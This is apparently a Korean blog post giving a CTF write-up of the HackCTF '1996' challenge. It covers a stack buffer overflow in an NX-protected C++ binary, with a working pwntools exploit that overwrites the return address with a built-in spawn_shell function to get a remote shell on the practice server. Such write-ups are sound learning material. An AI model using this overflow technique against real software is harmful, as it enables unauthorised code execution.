728x90
[HackCTF] 1996
Date | |
---|---|
Tags | report |
1. 문제
NX 비트가 걸려있다
프로그램을 실행하면 다음과 같이 나온다. 어떠한 환경 변수를 읽고 싶은지 묻고 입력을 하면 입력한 값을 출력해주고 끝나게 된다
코드를 보면 C++ 코드로 구성된것을 알 수 있다.
코드만 보면 v3을 v4에 넣고 v7, v8 이걸 v9에 넣고,,, 복잡하다.
그리고 shell을 실행시키는 함수가 내장되어 있으므로 이를 이용해서 푸는 문제인 것 같다
2. 접근방법
복잡할 것 같지만 다 훼이크이고 std cin을 이용해 name 변수를 통한 bof로 문제를 풀면 끝날 것 같다
name 부터 ret 까지 1048 크기이니 1048+ spawn_shell 주소 이렇게 주면 된다
3. 풀이
최종 익스 코드는 다음과 같다
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3013)
p.recvuntil("Which environment variable do you want to read?")
payload = "A"*1048
payload += p64(0x0000000000400897)
p.sendline(payload)
p.interactive()
4. 몰랐던 개념
쫄지말자
728x90
'워게임 > HackCTF' 카테고리의 다른 글
[HackCTF] g++ (0) | 2020.04.11 |
---|---|
[HackCTF] BOF PIE (0) | 2020.04.11 |
[HackCTF] Basic FSB (0) | 2020.04.11 |
[HackCTF] Baisc BOF 2 (0) | 2020.04.11 |
[HackCTF] Basic BOF 1 (0) | 2020.04.11 |